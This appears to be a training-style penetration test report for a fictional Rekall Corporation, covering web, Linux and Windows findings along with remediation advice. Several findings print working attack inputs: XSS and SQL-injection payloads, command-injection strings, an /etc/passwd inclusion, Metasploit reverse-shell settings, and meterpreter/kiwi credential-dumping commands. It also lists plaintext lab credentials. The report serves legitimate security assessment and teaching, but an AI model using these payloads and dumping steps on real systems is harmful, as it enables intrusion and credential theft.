| Cybersecurity |
| --- |
| Penetration Test Report |

Rekall Corporation

Penetration Test Report

# 

## Confidentiality Statement

This document contains confidential and privileged information from Rekall Inc. (henceforth known as Rekall). The information contained in this document is confidential and may constitute inside or non-public information under international, federal, or state laws. Unauthorized forwarding, printing, copying, distribution, or use of such information is strictly prohibited and may be unlawful. If you are not the intended recipient, be aware that any disclosure, copying, or distribution of this document or its parts is prohibited.

Table of Contents

[Confidentiality Statement 2](#_30j0zll)

[Contact Information 4](#_1fob9te)

[Document History 4](#_3znysh7)

[Introduction 5](#_2et92p0)

[Assessment Objective 5](#_3dy6vkm)

[Penetration Testing Methodology 6](#_2s8eyo1)

[Reconnaissance 6](#_17dp8vu)

[Identification of Vulnerabilities and Services 6](#_3rdcrjn)

[Vulnerability Exploitation 6](#_26in1rg)

[Reporting 6](#_lnxbz9)

[Scope 7](#_35nkun2)

[Executive Summary of Findings 8](#_44sinio)

[Grading Methodology 8](#_z337ya)

[Summary of Strengths 9](#_3j2qqm3)

[Summary of Weaknesses 9](#_1y810tw)

[Executive Summary Narrative](#_4i7ojhp) 10

[Summary Vulnerability Overview 1](#_2xcytpi)3

Vulnerability Findings [1](#_1ci93xb)4

# 

## Contact Information

| **Company Name** | MilkTeaDuckExploits |
| --- | --- |
| **Contact Name** | Aaron (Erin) Wright |
| **Contact Title** | Penetration Tester |

## 

## Document History

| **Version** | **Date** | **Author(s)** | **Comments** |
| --- | --- | --- | --- |
| 001 | 10/8/23 | Erin Wright | Fleshed Out Initial Exploits |
| 002 | 12/8/23 | Erin Wright | +Web Exploits |
| 003 | 16/8/23 | Erin Wright | +Linux Exploits |
| 004 | 19/8/23 | Erin Wright | +Windows Exploits |
| 005 | 21/8/23 | Erin Wright | +Initial Summary |
| 006 | 22/8/23 | Erin Wright | +Final Summary |

# 

## Introduction

In accordance with Rekall policies, our organization conducts external and internal penetration tests of its networks and systems throughout the year. The purpose of this engagement was to assess the networks’ and systems’ security and identify potential security flaws by utilizing industry-accepted testing methodology and best practices.

For the testing, we focused on the following:

* Attempting to determine what system-level vulnerabilities could be discovered and exploited with no prior knowledge of the environment or notification to administrators.
* Attempting to exploit vulnerabilities found and access confidential information that may be stored on systems.
* Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual exposure levels to online hackers. This document contains the results of that assessment.

### Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in Rekall’s web applications, networks, and systems. This assessment was conducted to identify exploitable vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to provide a greater level of security for the environment.

We used our proven vulnerability testing methodology to assess all relevant web applications, networks, and systems in scope.

Rekall has outlined the following objectives:

Table 1: Defined Objectives

| **Objective** |
| --- |
| Find and exfiltrate any sensitive information within the domain. |
| Escalate privileges. |
| Compromise several machines. |

# 

## Penetration Testing Methodology

### Reconnaissance

### 

We begin assessments by checking for any passive (open source) data that may assist the assessors with their tasks. If internal, the assessment team will perform active recon using tools such as Nmap and Bloodhound.

### Identification of Vulnerabilities and Services

We use custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective of the network security from a hacker’s point of view. These methods provide Rekall with an understanding of the risks that threaten its information, and also the strengths and weaknesses of the current controls protecting those systems. The results were achieved by mapping the network architecture, identifying hosts and services, enumerating network and system-level vulnerabilities, attempting to discover unexpected hosts within the environment, and eliminating false positives that might have arisen from scanning.

### Vulnerability Exploitation

Our normal process is to both manually test each identified vulnerability and use automated tools to exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us unauthorized access to the system or the sensitive data.

### Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done everything possible within the allotted time, the assessment team writes the report, which is the final deliverable to the customer.

# 

## Scope

Prior to any assessment activities, Rekall and the assessment team will identify targeted systems with a defined range or list of network IP addresses. The assessment team will work directly with the Rekall POC to determine which network ranges are in-scope for the scheduled assessment.

It is Rekall’s responsibility to ensure that IP addresses identified as in-scope are actually controlled by Rekall and are hosted in Rekall-owned facilities (i.e., are not hosted by an external organization). In-scope and excluded IP addresses and ranges are listed below.

# 

# 

## Executive Summary of Findings

## 

### Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may pose to the business processes implemented by the application, based on the following criteria:

**Critical**: Immediate threat to key business processes.

**High**: Indirect threat to key business processes/threat to secondary business processes.

**Medium**: Indirect or partial threat to business processes.

**Low**: No direct threat exists; vulnerability may be leveraged with other vulnerabilities.

Informational: No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the business and the likelihood of exploitation:

Chart

Description automatically generated with medium confidence

### 

### Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also recognized several strengths within Rekall’s environment. These positives highlight the effective countermeasures and defenses that successfully prevented, detected, or denied an attack technique or tactic from occurring.

* Great mitigation strategy in place for DDOS attacks to ensure site and network uptime.
* Employment of security professionals to test for exploits so that the network can be further secured.
* A number of metasploit exploits patched for a large amount of potential vulnerabilities.

### Summary of Weaknesses

We successfully found several critical vulnerabilities that should be immediately addressed in order to prevent an adversary from compromising the network. These findings are not specific to a software version but are more general and systemic vulnerabilities.

* Web Application is vulnerable to XSS Injection
* Web Application is vulnerable to SQL Injection
* Credentials are stored in plaintext on the Web Application login page.
* Apache Server is outdated and thus susceptible to multiple vulnerabilities.
* SLMail Server is vulnerable to RCE exploits that make the whole network vulnerable.
* Poor implementation of secure passwords across the entire network.
* Poor use of 2fa to secure sensitive data
* Nmap scans of the network displaying multiple open ports with little to no security allowing exploitation to occur
* Ease of access to credential hashes and low quality passwords allowed for privilege escalation, traversal of systems and unauthorized access to sensitive files.

## Executive Summary

During the Penetration testing of Total Rekall’s assets, MilkTeaDuckExploits (MTDE) was able to identify several vulnerabilities ranging in severity that could have significant impacts to the reputation and revenue of Total Rekall. MTDE was able to successfully gain access to system accounts and assets across a number of platforms where sensitive data was accessed and privileges escalated.

MTDE began testing on Rekall’s Web Application where we determined that it was susceptible to a number of attack types such as XSS, SQL injection and Local File Inclusions. This allowed malicious scripts to be run across the Web Application. Almost all text inputs were susceptible to XSS and if not SQL injection. A recommendation across the board is to employ input validation where none is present and increase the strength of the validation where it is present as all were able to be bypassed.

There was a lot of unsecured data present on the internet that required securing to add additional security. This was possibly one of the more shocking vulnerabilities with login credentials present in plaintext tucked away in the html of the login page. Second to this was the presence of a GitHub repository that contained user credentials in it which provided access to a number of confidential files within the Web Application.

After looking at open source information MTDE began work looking at the Linux Environment. We began by performing a Nessus scan combined with a Nmap scan. The Nessus scan revealed Apache was out of date and a Remote Code Execution (RCE) vulnerability was present. The Nmap scan revealed 5 IP addresses all with varying open ports and vulnerabilities. One of which was a system running Drupal. With credentials already obtained MTDE was able to successfully exploit Drupal, Struts and Shellshock vulnerabilities and escalate privileges.

Moving onto the Windows Environment an Nmap scan revealed a Vulnerable Server and Windows 10 Machine. Utilizing an SLMail exploit MTDE were able to gain shell access and dump windows credentials for systems as well as dump cached credentials. These credentials were then used to traverse to the Windows Machine from the Server with system privileges and dump further administrator credentials on the Windows Machine.

In summary, a number of exploits were discovered across the Web Application, Linux Systems and Windows Systems. These exploits, if accessed by a malicious actor, could cause irreversible damage to Rekall’s reputation and revenue streams. MTDE has provided recommended strategies for patching these vulnerabilities so that Rekall can secure their assets and prevent unauthorized access to sensitive data.

## 

## 

## 

## 

## 

## 

## 

## 

## 

## 

## 

## 

## 

## 

## Summary Vulnerability Overview

| **Vulnerability** | **Severity** |
| --- | --- |
| Local File Inclusion | Critical |
| Local File Inclusion (With File Validation) | Critical |
| SQL Injection (Admin Login) | Critical |
| Poor Storage of Secure Credentials | Critical |
| Poor Storage of Sensitive Data | Critical |
| Command Line Injection | Critical |
| PHP Injection | Critical |
| Aggressive Scan NMAP Results | Critical |
| Nessus Scan Results | Critical |
| Apache Tomcat Remote Code Execution Vulnerability (CVE-2017-12617) | Critical |
| Shell Shock Reverse TCP | Critical |
| Struts - CVE-2017-5638 | Critical |
| Drupal - CV-2019-6340 | Critical |
| Poor File Storage - Repo | Critical |
| NMAP Scan / Vulnerable Machines | Critical |
| FTP Connection / Anonymous Login | Critical |
| SLMail SMTP POP3 Vulnerability / Reverse TCP Shell | Critical |
| Dumping Creds Using Metasploit / Kiwi | Critical |
| Gaining Access to WINDC01 Server using Dumped Credentials | Critical |
| Traversal of WinDC01 Server to Dump More Credentials | Critical |
| XSS | Medium |
| XSS (Advanced) | Medium |
| XSS (Stored) | Medium |
| Sensitive Data Exposure | Medium |
| Open Source Exposed Data | Medium |
| WHOIS Registry Exposure | Low |

The following summary tables represent an overview of the assessment findings for this penetration test:

| **Scan Type** | **Total** |
| --- | --- |
| Hosts | 192.168.14.35  3.33.130.190  15.197.148.33 192.168.13.1  192.168.13.10  192.168.13.12  192.168.13.13  192.168.13.14  172.22.117.10  172.22.117.20 |
| Ports | 100001  8009  8080  80  22  24  100 |

| **Exploitation Risk** | **Total** |
| --- | --- |
| **Critical** | 20 |
| **High** | 0 |
| **Medium** | 5 |
| **Low** | 1 |

## Vulnerability Findings

| **Vulnerability 1** | **Findings** |
| --- | --- |
| **Title** | XSS |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Medium |
| **Description** | The name entry field is susceptible to cross site scripting (XSS)  <script>alert(“you’ve been breached”)</script> |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Input Validation |

| **Vulnerability 2** | **Findings** |
| --- | --- |
| **Title** | XSS (Advanced) |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Medium |
| **Description** | On the memory-planner.php page despite there being basic input validation it is easily bypassed breaking up the script word.  <SCRIPscriptT>alert(“you’ve been breached”)</SCRIPscriptT> |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | More in depth input validation |

| **Vulnerability 3** | **Findings** |
| --- | --- |
| **Title** | XSS (Stored) |
| **Type (Web app / Linux OS / Windows OS)** | Web Apps |
| **Risk Rating** | Medium |
| **Description** | The comments input page was vulnerable to poor input validation.  <script>alert(“hi”)</script> |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | More in depth input validation |

| **Vulnerability 4** | **Findings** |
| --- | --- |
| **Title** | Sensitive Data Exposure (Response Headers) |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Medium |
| **Description** | Sensitive information was stored within the http response headers.  This was accessed via a simple command to retrieve the response headers.  curl -v http://192.168.14.35/About-Rekall.php |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Sanitize header responses to mitigate sensitive data being exposed. |

| **Vulnerability 5** | **Findings** |
| --- | --- |
| **Title** | Local File Inclusion |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | Local File Inclusion successfully uploaded in the form of a .php file |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Assign IDs to every path and save them to a secure database to prevent any user from viewing or altering the file path. |

| **Vulnerability 6** | **Findings** |
| --- | --- |
| **Title** | Local File Inclusion (With File Validation) |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | While the image upload page has basic file type validation it looks for the presence of “.jpg” thus renaming our php file from “script.php” to “script.jpg.php” |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | More in depth file validation and segregation of the database that stores the uploaded files in a sandbox environment. |

| **Vulnerability 7** | **Findings** |
| --- | --- |
| **Title** | SQL Injection (Admin Login) |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | The login page for admins is vulnerable to sql injection,  Entering “ok’” or “1=1--” in the login password field grants admin login. |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Input Validation - Disallow the web application from accepting direct input and/or implement character escaping. |

| **Vulnerability 8** | **Findings** |
| --- | --- |
| **Title** | Poor Storage of Secure Credentials |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | Admin Login details are stored on the login page in plain text next to each login field |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Remove this from the html and add two factor authentication. |

| **Vulnerability 9** | **Findings** |
| --- | --- |
| **Title** | Poor Storage of Sensitive Data |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | Critical information relating to server file structure accessible via webpage.  192.168.14.35/robots.txt |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Disallow public access to 192.168.14.35/robots.txt |

| **Vulnerability 10** | **Findings** |
| --- | --- |
| **Title** | Command Line Injection |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | On the networking.php page there are several command line vulnerabilities.  On the first entry field there is no entry validation and thus the vendors.txt file can be accessed with either.  [www.wecometorecall.com](http://www.wlcometorecall.com) && cat vendors.txt  [www.welcometorecall.com](http://www.welcometorecall.com) ; cat vendors.txt  The second entry field applies some basic input validation stripping both && and ; from the input. This however is easily worked around using the following input  [www.welcometorecall.com](http://www.welcometorecall.com) | cat vendors.txt  Also able to put “splunk” as an input where shouldn't be possible. |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Further input validation needs to be applied as well as not disclosing the file name of the vendors.txt file on the page. |

| **Vulnerability 11** | **Findings** |
| --- | --- |
| **Title** | PHP Injection |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | By altering the webpage url to: <http://192.168.14.35/disclaimer.php?page=/etc/passwd>  It is possible to see the passwd file of which there is an unhashed password for the account melina;melina  This is a major security violation and issue where a standard user is able to access what should be a majorly secure file. |
| **Images** |  |
| **Affected Hosts** | 192.168.14.35 |
| **Remediation** | Remove the ability for navigation to be made from the networking page via input validation. |

| **Vulnerability 12** | **Findings** |
| --- | --- |
| **Title** | WHOIS Registry Exposure |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Low |
| **Description** | All websites are required to have contact information about the registrant submitted to WHOIS so that records can be kept. However several domain registers offer a service to hide this information and provide the register such as godaddy or google domains information instead of the domain holders information. Currently the domain owners full information is publicly available on the WHOIS registry posing a potential risk as an entry point for social engineering by malicious actors. |
| **Images** |  |
| **Affected Hosts** | totalrekall.xyz. |
| **Remediation** | Utilize GoDaddy’s ability to private this information. |

| **Vulnerability 13** | **Findings** |
| --- | --- |
| **Title** | Open Source Exposed Data |
| **Type (Web app / Linux OS / Windows OS)** | Web App |
| **Risk Rating** | Medium |
| **Description** | Stored Certificate on crt.sh |
| **Images** |  |
| **Affected Hosts** | 3.33.130.190  15.197.148.33 |
| **Remediation** | Protect information from being stored and revealed on crt.sh |

| **Vulnerability 14** | **Findings** |
| --- | --- |
| **Title** | Aggressive Scan NMAP Results |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | An aggressive NMAP scan revealed 5 hosts with exposed ip addresses. |
| **Images** |  |
| **Affected Hosts** | 192.168.13.1  192.168.13.10  192.168.13.12  192.168.13.13  192.168.13.14 |
| **Remediation** | Block unauthorized connections from these IP addresses. |

| **Vulnerability 15** | **Findings** |
| --- | --- |
| **Title** | Nessus Scan Results |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | A Nessus scan of the IP address 192.168.13.12 revealed a critical CGI abuse vulnerability. |
| **Images** |  |
| **Affected Hosts** | 192.168.13.12 |
| **Remediation** | Upgrade to Apache Struts Version 2.3.32 / 2.5.10.1 or later. |

| **Vulnerability 16** | **Findings** |
| --- | --- |
| **Title** | Apache Tomcat Remote Code Execution Vulnerability (CVE-2017-12617) |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | Using the results from the nessus scan a remote session was able to be created connecting to 192.168.13.10 |
| **Images** |  |
| **Affected Hosts** | 192.168.13.10 |
| **Remediation** | Upgrade to Apache Struts Version 2.3.32 / 2.5.10.1 or later. |

| **Vulnerability 17** | **Findings** |
| --- | --- |
| **Title** | Shell Shock Reverse TCP |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | Utilizing:  exploit/multi/http/apache\_mod\_cgi\_bash\_env\_exec  TARGETURI /cgi-bin/shockme.cgi  RHOST 192.168.13.11  A shell session was able to be created where access to /etc/sudoers was gained. This posed a major security risk as an attacker would ultimately have complete access from here and would be able to grant themselves whatever privileges they wished. |
| **Images** |  |
| **Affected Hosts** | 192.168.13.11 |
| **Remediation** | Edit the sudo file to limit access for all sudo accounts. |

| **Vulnerability 18** | **Findings** |
| --- | --- |
| **Title** | Struts - CVE-2017-5638 |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | The previous nessus scan also revealed a vulnerability to the struts exploit.  Utilizing the following exploits/payloads a shell session was started.  use /multi/http/struts2\_content\_type\_ognl  use payload cmd/linux/http/x64/meterpreter/reverse\_tcp  set RHOST 192.168.13.12  set RPORT 8080  set LHOST 10.0.2.15  set LPORT 4444 |
| **Images** |  |
| **Affected Hosts** | 192.168.13.12 |
| **Remediation** | Update via vendor instructions |

| **Vulnerability 19** | **Findings** |
| --- | --- |
| **Title** | Drupal - CV-2019-6340 |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS |
| **Risk Rating** | Critical |
| **Description** | It was found that the address 192.168.13.13 was running Drupal and vulnerable and a remote session was started  Using metasploit the following was performed: use unix/webapp/drupal\_restws\_unserialize  use payload php/meterpreter/reverse\_tcp  set RHOST 192.168.13.13  set RPORT 80  set LHOST 10.0.2.15  set LPORT 4444 |
| **Images** |  |
| **Affected Hosts** | 192.168.13.13 |
| **Remediation** | Update Drupal |

| **Vulnerability 20** | **Findings** |
| --- | --- |
| **Title** | Poor File Storage - Repo |
| **Type (Web app / Linux OS / WIndows OS)** | Web App |
| **Risk Rating** | Critical |
| **Description** | A copy of the website was stored on the Total Rekall repo which contained an easily cracked account.  trivera;Tanya4life |
| **Images** |  |
| **Affected Hosts** | https://github.com/totalrekall/site/blob/main/xampp.users |
| **Remediation** | Don't store the source code and login details to accounts on a repo let alone a public repo. |

| **Vulnerability 21** | **Findings** |
| --- | --- |
| **Title** | NMAP Scan / Vulnerable Machines |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS / Windows OS |
| **Risk Rating** | Critical |
| **Description** | A nmap scan revealed 2 vulnerable machines on the network;  WinDC01 @172.22.117.10  Windows10 @172.22.117.20  Specifically 172.22.117.20:80 which is open to http.  Utilizing the cracked password for trivera it’s possible to login to this address and access unintended files. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.10  172.22.117.20:80 |
| **Remediation** | Blocking incoming http connections or only allow from specific addresses. |

| **Vulnerability 22** | **Findings** |
| --- | --- |
| **Title** | FTP Connection / Anonymous Login |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS / Window OS |
| **Risk Rating** | Critical |
| **Description** | An nmap scan showed that anonymous ftp access was possible system files via anonymous FTP protocol.  anonymous;anonymous |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20:24 |
| **Remediation** | Navigate to the ftp applications authentication page and disable anonymous authentication.  Additionally disallow ftp connection except from specific addresses that require it. |

| **Vulnerability 23** | **Findings** |
| --- | --- |
| **Title** | SLMail SMTP POP3 Vulnerability / Reverse TCP Shell |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS / Windows OS |
| **Risk Rating** | Critical |
| **Description** | It was possible to exploit an SLMail 5.5 RCE vulnerability to create a shell session. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20:110 |
| **Remediation** | Apply Vendor Patch / Apply Input Sanitation to avoid input buffer overflows. |

| **Vulnerability 24** | **Findings** |
| --- | --- |
| **Title** | Dumping Creds Using Metasploit / Kiwi |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS / Windows OS |
| **Risk Rating** | Critical |
| **Description** | Following on from successfully starting a reverse tcp shell using the SLMail Exploit.  running:  meterpreter> getuid  #### Confirms that we are NT AUTHORITY\SYSTEM  meterpreter> run post/windows/gather/hashdump  #### Gets boot key > Decrypts User Keys > Dumps users and passwords  running:  meterpreter> load kiwi  #### Loads Kiwi  meterperter> lsa\_dump\_sam  #### Dumps Creds  running:  meterpreter> load Kiwi  #### Loads Kiwi  meterpreter> kiwi\_cmd lsadump::cache  #### Dumps Cached Passwords  All creds can converted to plain text by simply putting them in a text file and running:  john –format-NT pass.txt –format-NT |
| **Images** |  |
| **Affected Hosts** | 172.22.117.20:110 |
| **Remediation** | Patch SLMail Exploit |

| **Vulnerability 25** | **Findings** |
| --- | --- |
| **Title** | Gaining Access to WINDC01 Server using Dumped Credentials |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS / Windows OS |
| **Risk Rating** | Critical |
| **Description** | Using dumped credentials from previous exploits access was gained to the WinDC01 Server. |
| **Images** |  |
| **Affected Hosts** | 172.22.117.10 |
| **Remediation** | Change passwords to secure passwords, use 2fa authentication. |

| **Vulnerability 26** | **Findings** |
| --- | --- |
| **Title** | Traversal of WinDC01 Server to Dump More Credentials |
| **Type (Web app / Linux OS / Windows OS)** | Linux OS / Windows OS |
| **Risk Rating** | Critical |
| **Description** | Loading Kiwi while in a shell with the WinDC01 server it was possible to dump Administrator Credentials.  running:  meterpreter> load kiwi  #### loads Kiwi  meterpreter> dcsync\_ntlm administrator  #### dumps administrator credentials |
| **Images** |  |
| **Affected Hosts** | 172.22.117.10 |
| **Remediation** | Patch Previous exploits that allowed for a shell to be opened. |